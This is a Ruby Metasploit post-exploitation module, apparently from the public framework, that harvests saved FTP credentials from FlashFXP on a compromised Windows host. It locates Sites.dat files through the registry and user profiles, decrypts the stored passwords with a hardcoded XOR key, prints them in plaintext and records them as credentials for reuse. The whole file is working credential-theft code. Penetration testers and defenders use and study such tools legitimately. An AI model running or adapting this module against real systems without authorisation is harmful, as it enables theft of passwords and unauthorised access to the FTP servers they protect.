##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/parser/ini'
require 'msf/core/auxiliary/report'

class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Registry
  include Msf::Auxiliary::Report
  include Msf::Post::Windows::UserProfiles

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Windows Gather FlashFXP Saved Password Extraction',
      'Description'   => %q{
        This module extracts weakly encrypted saved FTP Passwords from FlashFXP. It
        finds saved FTP connections in the Sites.dat file. },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'theLightCosine'],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))
  end

  def run
    #Checks if the Site data is stored in a generic location  for all users
    flash_reg = "HKLM\\SOFTWARE\\FlashFXP"
    flash_reg_ver = registry_enumkeys("#{flash_reg}")

    #Ini paths
    @fxppaths = []

    unless flash_reg_ver.nil?
        software_key = "#{flash_reg}\\#{flash_reg_ver.join}"
        generic_path = registry_getvaldata(software_key, "InstallerDataPath") || ""
      unless generic_path.include? "%APPDATA%"
        @fxppaths << generic_path + "\\Sites.dat"
      end
    end

    grab_user_profiles().each do |user|
      next if user['AppData'] == nil
      tmpath= user['AppData'] + '\\FlashFXP\\'
      get_ver_dirs(tmpath)
    end

    @fxppaths.each do |fxp|
      get_ini(fxp)
    end
  end

  def get_ver_dirs(path)
    begin
      session.fs.dir.foreach(path) do |sub|
        next if sub =~ /^(\.|\.\.)$/
        @fxppaths << "#{path}#{sub}\\Sites.dat"
      end
    rescue
      print_error("The following path could not be accessed or does not exist: #{path}")
    end
  end

  def get_ini(filename)
    begin
      config = client.fs.file.new(filename,'r')
      parse = config.read
      ini = Rex::Parser::Ini.from_s(parse)

      if ini == {}
        print_error("Unable to parse file, may be encrypted using external password: #{filename}")
      end

      ini.each_key do |group|
        host = ini[group]['IP']
        username = ini[group]['user']
        epass = ini[group]['pass']
        port = ini[group]['port']
        next if epass == nil or epass == ""
        passwd = decrypt(epass)

        print_good("*** Host: #{host} Port: #{port} User: #{username}  Password: #{passwd} ***")
        service_data = {
          address: Rex::Socket.getaddress(host),
          port: port,
          protocol: "tcp",
          service_name: "ftp",
          workspace_id: myworkspace_id
        }

        credential_data = {
          origin_type: :session,
          session_id: session_db_id,
          post_reference_name: self.refname,
          username: username,
          private_data: passwd,
          private_type: :password
        }

        credential_core = create_credential(credential_data.merge(service_data))

        login_data = {
          core: credential_core,
          access_level: "User",
          status: Metasploit::Model::Login::Status::UNTRIED
        }

        create_credential_login(login_data.merge(service_data))
      end
    rescue
      print_status("Either could not find or could not open file #{filename}")
    end
  end

  def decrypt(pwd)
    key =  "yA36zA48dEhfrvghGRg57h5UlDv3"
    pass = ""
    cipher = [pwd].pack("H*")

    (0..(cipher.length)-2).each do |index|
      xored = cipher[index + 1,1].unpack("C").first ^ key[index,1].unpack("C").first
      if ((xored - cipher[index,1].unpack("C").first < 0))
        xored += 255
      end
      pass << (xored - cipher[index,1].unpack("C").first).chr
    end
    return pass
  end
end
